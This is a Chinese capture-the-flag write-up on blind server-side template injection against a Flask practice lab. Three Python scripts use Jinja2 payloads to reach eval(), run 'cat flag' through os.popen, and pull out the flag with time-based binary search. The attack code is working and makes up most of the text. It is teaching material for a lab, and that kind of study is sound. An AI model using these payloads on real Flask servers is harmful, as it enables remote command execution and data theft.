本文以 橙子科技的靶场 mcc0624/flask_ssti
flask无回显
( flasklab/level/3
) 一关为例。
这道题你只要输入了内容,他基本只会回显 Hello correct
,只有输入 {{}}
和 {%%}
它才会回显 Hello wrong
,这就说明,根据内容的盲注是行不通的,我们必须使用时间盲注(带外注入等方法不在本文讨论范围)。
时间盲注,手打是不现实的,必须使用脚本。不过网上很难找到 ssti 的时间盲注脚本(copy 不了了55),只好自己捣鼓勉强能用的。
因为我要做时间盲注,时间盲注需要用到 sleep() 函数,执行sleep()函数需要内建函数 eval() ,所以我先用脚本找到 eval() 。
这和之前普通情况下找内建函数 eval() 的步骤很像,不过关键 payload 略有区别。因为页面不会回显告诉我们 你找到 eval() 啦
。
所以我就先往 eval() 里塞命令 sleep(3)
,也就是让服务器小睡一会。然后我再监测服务器的响应时间,如果响应时间大于 3s ,那说明 sleep(3)
被服务器执行了,这就说明我找到 eval() 了。接下来,我就可以利用 eval() 进一步的盲注爆破了。
STEP 1: 通过脚本找内建函数 eval()
脚本1 爆破 eval() 位置
import requests
import time
# 转义符 \ 用于解决双引号 "" 闭合问题
PAYLOAD_LAST = ".__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(3)')}}"
url = input("请输入 URL:")
# POST 参数可以抓包或查看源代码
request_parameter = input("请输入 POST 请求参数:")
for i in range(500):
# 发送请求并记录开始时间
start_time = time.time()
data = {request_parameter: " {{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(3)')}} "}
# post data 也可以改成这样,原因见{{}}过滤的绕过方法
# {"name":"{%print(().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(3)'))%}"}
response = requests.post(url, data=data)
end_time = time.time()
# 计算响应时间
response_time = end_time - start_time
# 如果响应时间大于 3s ,则绿色字体输出在控制台
if response_time >= 3:
print("\033[32m bingo: "+str(i)+"\033[0m",end="\t")
# 如果响应时间小于 3s ,则红色字体输出在控制台,一般建议注释掉错误输出,因为这会降低爆破速度
else:
print("\033[31mnonono: "+str(i)+"\033[0m",end="\t")
看效果,不错吧哈哈
脚本中提到的 POST 参数可以抓包或查看源代码获得。
源代码
BP抓包
STEP 2: 通过脚本爆破 flag 长度
脚本2 爆破 flag 长度
假如我们的目的是获取 flag
,我们首先需要爆破 flag 的长度,这可以节省一点时间。
import requests
import time
url = input("请输入 URL:")
request_parameter = input("请输入 POST 请求参数:")
for len in range(1, 40):
start_time = time.time()
data = { request_parameter:"{%set flag=().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__(\"os\").popen(\"cat flag\").read()')%}{% set l=flag|length %}{%if l=="+str(len)+"%}{{().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(3)')}}{%endif%}" }
response = requests.post(url, data=data)
end_time = time.time()
# 计算响应时间
response_time = end_time - start_time
if response_time >= 3:
print("\033[32m" + str(len) + "\033[0m",end="\t")
else:
print("\033[31m" + str(len) + "\033[0m", end="\t")
上面的脚本很简洁,但是效果还不够好,加上二分法,效果直接上天。
脚本2 pro 二分查找爆破 flag 长度
import requests
import time
url = input("请输入 URL:")
request_parameter = input("请输入 POST 请求参数:")
left = 6
right = 40
flag = 0
while left<right and flag==0:
len = (left + right) / 2
start_time = time.time()
data = { request_parameter:"{%set flag=().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__(\"os\").popen(\"cat flag\").read()')%}{% set l=flag|length %}{%if l=="+str(len)+"%}{{().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(4)')}}{%elif l>"+str(len)+"%}{{().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(2)')}}{%endif%}" }
response = requests.post(url, data=data)
end_time = time.time()
# 计算响应时间
response_time = end_time - start_time
if response_time >=4:
print("\033[32m" + str(int(len)) + "\033[0m")
flag = 1
elif response_time >= 2 and response_time<=4:
left = len + 1
else:
right = len
获取到 flag 字符串长度为 25,下一步,就是逐个爆破 flag 字符串了。
兄弟们,知道我这个 python 半吊子为了弄这个脚本测了多久吗 555 T_T
STEP 3: 通过脚本爆破 flag
脚本3 逐个爆破 flag 字符
import requests
import time
url = input("请输入 URL:")
request_parameter = input("请输入 POST 请求参数:")
cs = " !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~"
flag = ""
# range() 参数为 脚本2 得到的 flag 长度
for i in range(25):
low = 0
high = len(cs)
while low<high:
index = low + (high - low) // 2
start_time = time.time()
# request_parameter 为 post 传入数据的参数名,根据实际情况输入
data = { request_parameter:"{%set flag=().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__(\"os\").popen(\"cat flag\").read()')%}{%if flag["+str(i)+"]=='"+cs[index]+"'%}{{().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(2)')}}{%elif flag["+str(i)+"]>'"+cs[index]+"'%}{{().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(4)')}}{%endif%}" }
response = requests.post(url, data=data)
end_time = time.time()
# 计算响应时间
response_time = end_time - start_time
if response_time >=2 and response_time<=4:
flag+=cs[index]
print(cs[index],end='\t')
low = high
elif response_time>4:
low = index+1
else:
high = index
print("\n"+flag)
虽然采用了二分法,但是由于 flag 本身较长,这又是时间盲注,需要基于延迟时间进行判断,所以花费的时间还是有点长。就这题 25 个字符长的 flag,就爆破了差不多6分钟。懂 python 的大哥可以改进下脚本,加上多线程,那速度必定嘎嘎起飞。
参考:
Python实现二分查找法
Flask Jinja/Flask 中字符串的长度
Python time sleep()方法
By QING